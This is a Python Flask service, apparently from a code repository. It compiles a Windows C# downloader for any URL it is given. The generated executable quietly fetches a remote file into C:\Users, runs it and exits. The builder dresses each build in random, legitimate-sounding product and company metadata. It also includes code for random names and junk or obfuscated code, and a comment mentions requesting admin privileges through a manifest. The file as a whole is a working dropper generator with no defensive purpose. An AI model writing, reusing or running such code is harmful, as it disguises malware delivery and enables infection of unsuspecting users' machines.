newmsccompiler / main.py
sigyllly's picture
Update main.py
8a822d1 verified
import os
import random
import string
import subprocess
import zipfile
from flask import Flask, request, send_file, jsonify
from io import BytesIO
from urllib.parse import urlparse
app = Flask(__name__)
# Step 1: Define the base C# template without AssemblyCulture
base_cs_template = """
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Http;
using System.Reflection;
using System.Threading.Tasks;
[assembly: AssemblyTitle("<<title>>")]
[assembly: AssemblyDescription("<<description>>")]
[assembly: AssemblyConfiguration("<<configuration>>")]
[assembly: AssemblyCompany("<<company>>")]
[assembly: AssemblyProduct("<<product>>")]
[assembly: AssemblyCopyright("<<copyright>>")]
[assembly: AssemblyTrademark("<<trademark>>")]
[assembly: AssemblyVersion("<<version>>")]
[assembly: AssemblyFileVersion("<<file_version>>")]
[assembly: AssemblyInformationalVersion("<<informational_version>>")]
class Program
{
static void Main()
{
// Call the async method synchronously
MainAsync().GetAwaiter().GetResult();
}
static async Task MainAsync()
{
string downloadUrl = "<<download_url>>";
string destinationFolder = @"C:\\Users";
string destinationFilePath = Path.Combine(destinationFolder, "<<file_name>>");
// Download the file
bool downloadSuccess = await DownloadFileAsync(downloadUrl, destinationFilePath);
// If the file was downloaded successfully, execute it and exit
if (downloadSuccess && File.Exists(destinationFilePath))
{
Process.Start(new ProcessStartInfo(destinationFilePath) { UseShellExecute = true });
Environment.Exit(0); // Exit immediately after starting the process
}
}
static async Task<bool> DownloadFileAsync(string url, string destinationFilePath)
{
using (HttpClient client = new HttpClient())
{
try
{
byte[] fileBytes = await client.GetByteArrayAsync(url);
File.WriteAllBytes(destinationFilePath, fileBytes);
return true;
}
catch
{
return false;
}
}
}
}
"""
# Utility functions
def random_string(length):
return ''.join(random.choice(string.ascii_letters) for _ in range(length))
def random_version():
major = random.randint(1, 5)
minor = random.randint(0, 9)
build = random.randint(0, 99)
revision = random.randint(0, 99)
return f"{major}.{minor}.{build}.{revision}"
titles = ['File Manager', 'Data Analyzer', 'Task Tracker', 'Cloud Backup', 'Image Editor', 'Video Converter']
descriptions = ['This application helps in managing files efficiently.', 'Analyze data with advanced algorithms and insights.', 'Keep track of your tasks and deadlines easily.', 'Backup your data securely to the cloud.', 'Edit your images with powerful tools and filters.', 'Convert videos to various formats quickly.']
companies = ['Tech Innovations', 'Global Solutions', 'Data Services', 'Creative Minds', 'Secure Systems', 'Future Technologies']
trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empowering Users', 'Reliable Services', 'Creative Design']
def generate_control_flow_junk():
conditions = [
"if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
"for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }",
"if (false) { Console.WriteLine(\"This will never happen\"); }",
"while (false) { break; }"
]
return random.choice(conditions)
def generate_obfuscated_methods():
methods = [
f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
f'string {random_string(6)}() {{ return "{random_string(12)}"; }}'
]
return "\n ".join(random.sample(methods, k=2))
def generate_additional_obfuscated_code():
snippets = [
"#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219",
"string dummy = \"abc\";",
"Console.WriteLine(\"Executing...\");"
]
return random.choice(snippets)
def extract_filename_from_url(url):
parsed_url = urlparse(url)
return os.path.basename(parsed_url.path)
@app.route('/')
def index():
return jsonify({"message": "API is running. Use the /finish endpoint to generate and compile the script."})
@app.route('/finish', methods=['POST'])
def finish():
data = request.json
download_url = data.get('download_url')
if not download_url:
return jsonify({"error": "Missing 'download_url' parameter"}), 400
# Extract the file name from the URL
file_name = extract_filename_from_url(download_url)
# Generate the randomized assembly information using meaningful words
assembly_info = {
'title': random.choice(titles),
'description': random.choice(descriptions),
'configuration': '', # Can leave empty
'company': random.choice(companies),
'product': "MyProduct",
'copyright': f"Copyright © {random.choice(companies)} 2024",
'trademark': random.choice(trademarks),
'version': random_version(),
'file_version': random_version(),
'informational_version': random_version()
}
# Replace placeholders in the base template
modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
.replace('<<description>>', assembly_info['description']) \
.replace('<<configuration>>', assembly_info['configuration']) \
.replace('<<company>>', assembly_info['company']) \
.replace('<<product>>', assembly_info['product']) \
.replace('<<copyright>>', assembly_info['copyright']) \
.replace('<<trademark>>', assembly_info['trademark']) \
.replace('<<version>>', assembly_info['version']) \
.replace('<<file_version>>', assembly_info['file_version']) \
.replace('<<informational_version>>', assembly_info['informational_version']) \
.replace('<<download_url>>', download_url) \
.replace('<<file_name>>', file_name) \
.replace('<<control_flow_junk>>', generate_control_flow_junk()) \
.replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
.replace('<<obfuscated_methods>>', generate_obfuscated_methods())
# Generate random file names
script_path = random_string(10) + '.cs'
exe_name = random_string(10) + '.exe' # Generate a random executable name
# Save the modified C# script to a file
with open(script_path, 'w') as file:
file.write(modified_cs)
# Compile the C# script using mcs with the manifest for admin privileges
compile_command = [
'mcs', '-target:winexe', '-out:' + exe_name, script_path,
'-win32icon:app.ico', '-win32manifest:app.manifest','/reference:System.Net.Http.dll'
]
# Run the compilation command
try:
subprocess.run(compile_command, check=True)
except subprocess.CalledProcessError as e:
return jsonify({"error": f"Compilation failed: {e}"}), 500
except FileNotFoundError:
return jsonify({"error": "Compiler 'mcs' not found. Make sure it is installed and in the PATH."}), 500
# Zip the executable
zip_buffer = BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zip_file:
zip_file.write(exe_name)
zip_buffer.seek(0)
# Clean up generated files
os.remove(script_path)
os.remove(exe_name)
# Return the zip file
return send_file(zip_buffer, as_attachment=True, download_name='compiled_program.zip', mimetype='application/zip')
# Start the Flask app
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7860, debug=True)